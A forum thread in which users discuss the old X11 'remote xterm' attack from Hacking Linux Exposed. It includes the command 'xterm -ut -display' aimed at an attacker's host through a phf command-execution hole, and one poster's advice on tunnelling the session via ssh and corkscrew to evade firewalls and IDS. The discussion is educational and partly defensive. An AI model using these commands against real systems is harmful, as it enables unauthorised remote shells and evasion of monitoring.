-
Xterm Forwarding
I have been reading a great deal about how attackers would compromise a machine by directing one machines xterminal to his x server. But in the article , it doesn't make sense , because i tried it on my machine , and it only works if you are on the same uid number as the user running the X server in the first place.
But lets say we were on a LAN , and on one machine did
xterm -ut -display 10.0.1.1:0.0 , would it display it to 10.0.1.1 , even if it wasn't running as the same user on the terminal ?
someone want to explain this attack in greater detail , or what I might be doing wrong..
Thanks.
-
The only ting i can think of that this reminds me of is using the ssh -X option when logged into a remote machine, establishing a x server tunnel. But i have heard of something similar and cant remember where. Can you post a link, if available online. This would help me and others to try and understand the hole.
-
Well , I can't exactly post the hole in URL form , Because I am reading it via Hacking Exposed Linux 2nd edition.. I guess they don't exactly explain it thorough enough for me to comprehend the vulnerability.
-
I'm not sure if this is related to what you're reading but someone can use an X session to log keystrokes,take screenies,etc. How its done depends on whether the Xserver uses Xhost(can be spoofed) or Xauth(time to steal cookies) for access control, these attacks are especially niffty if an external attacker can find a service configured(like ssh as EaseZE mentioned)to tunnel Xwindows connections through a firewall for them. Some tools for this include xscan,xspy,xcrowbar,and xev. Hope this is what you were looking for! :)
http://asulug.asu.edu/howto/x-forwarding.html
http://www.tldp.org/HOWTO/mini/Remote-X-Apps-6.html
http://www.giac.org/practical/Chris_Covington.doc
-Maestr0
-
You are mistaken, the remote-xterm attacks are real and work well.
The thing you have to imagine is, the attacker has control of his own X-Server. This means he can relax the normally tight security that prohibits unauthorised clients.
The normal way of doing this is
(don't do this on a box connected directly to the internet)
After you've done xhost + (locally to the terminal with X), you can run xterm -display myhost:0 and the remote xterm will appear locally.
This is a feature not a bug. Seriously.
X is very clever. Clients (i.e. programs) can display their windows on your display, even if they are on a different machine, or a different OS. These windows look exactly like local ones, and you can manipulate them equally.
-
hmm , I see . But lets say my web server was vulnerable to phf. If an attacker were to manipulate it by executing the following straight from his browser:
xterm -display his_ip_address:0.0
Would My Xterm be directed to his X server ?
-
n01100110. I think i have a release of the book you are refering to. I'm not sure what addition. If you can gvie me the chapter and page number i can tale a look.
-
Hacking Linux Exposed 2nd Edition ....
Chapter 6 Attacking Over The Network
I believe it is page 260.
Give Me a Feed Back
This is also present in Hacking Exposed 2nd edition in Chapter 8 ; Hacking Unix
On page 319
-
In the example used by Hacking Exposed (phf vulnerability somewhere around 1996) they are able to use a remote vulnerability to pass commands to the remote server. What he does is direct the servers xterm back to his xserver. He does this as followed. (Mind you an old exploit)
/usr/X11R6/bin/xterm -ut -display destination ip:0.0
/usr/X11r6/bin/xterm - is where the xterm program is located
-ut - will not be logged by the system
destination ip - is where the xterm is being redirected to
0.0 - window id 0 screen id of zero
What they are showing here is when you can pass commands to the remote operating system via a exploited service of some sort you can redirect an xterm back to the attacking machine. Without a remote exploit of some sort to execute the commands passed to the server, you cannot get the xterm to redirect this way.
This rather antiquated example shows you in a round about way how an attacker may get a remote shell with a newer exploit.
My recomendation is, if you wish to set up this attack scenerio on your lan is to
a.)set up an older machine with that explot and try
b.)modify and implement the technique discussed in this book with a newer exploit in your existing o.s.
-
Right, this is where the forwarding I spoke of comes in handy. If you can execute commands on a target machine remotely via 80(or somehow thru a firewall) this attack is very possible. Enable the sshd on the external Xserver with X11 forwarding, then use the compromised machine to look for a proxy server. Once you have a proxy, use corkscrew to HTTP tunnel your x-session via ssh (note: ssh will piggyback the DISPLAY variable for you and the actual X-session will originate from the local x-server not the ssh source) out to your server via port 80 avoiding blocked ports and avoiding IDS as well, then you party with X windows. :) Although the tunneling may not be neccessary and would require a little more effort, it could be used to escape strict firewall rules for outgoing connections as well as hiding the traffic in case the attacker intends to use the system frequently. The links I provided earlier should answer alot of your questions.
-Maestr0
-
Quote:
Originally posted here by n01100110
hmm , I see . But lets say my web server was vulnerable to phf. If an attacker were to manipulate it by executing the following straight from his browser:
xterm -display his_ip_address:0.0
Would My Xterm be directed to his X server ?
Yes.
Well, unless something stopped it.
It is normal good practice to block any outgoing connections from web servers (as they don't need them), however many, many organisations don't.
A lot of firewalls have a policy which allows most internally-intiated outgoing connections.
However, being unable to use X to do this attack would not mitigate it very much, as the attacker would still have remote command execution abilities (even if not so conveniently as with xterm) - with the ancient phf attack.
